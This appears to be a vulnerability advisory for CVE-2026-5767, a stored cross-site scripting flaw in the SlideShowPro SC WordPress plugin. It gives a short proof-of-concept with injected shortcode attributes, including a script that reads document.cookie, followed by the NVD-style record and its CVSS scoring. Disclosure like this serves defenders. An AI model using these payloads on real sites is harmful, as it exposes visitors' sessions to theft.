CVE-2026-5767

<!-- PoC for CVE-2026-5767 Stored XSS --> <!-- Prerequisite: Contributor level access or higher --> <!-- Step 1: Create a new Post or Page --> <!-- Step 2: Insert the following malicious shortcode in the content --> [slideShowProSC src="x" onmouseover="alert('CVE-2026-5767-XSS')"] <!-- Alternatively, injecting script via other attributes --> [slideShowProSC title="test"><script>alert(document.cookie)</script>[/slideShowProSC]

{"cve": {"id": "CVE-2026-5767", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:25.840", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SlideShowPro SC plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `slideShowProSC` shortcode in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/slideshowpro-shortcode/tags/1.0.2/slideshowpro_sc.php#L287", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/slideshowpro-shortcode/trunk/slideshowpro_sc.php#L287", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/51467cef-9624-4dd9-a368-d3b5fac7bb3d?source=cve", "source": "[email protected]"}]}}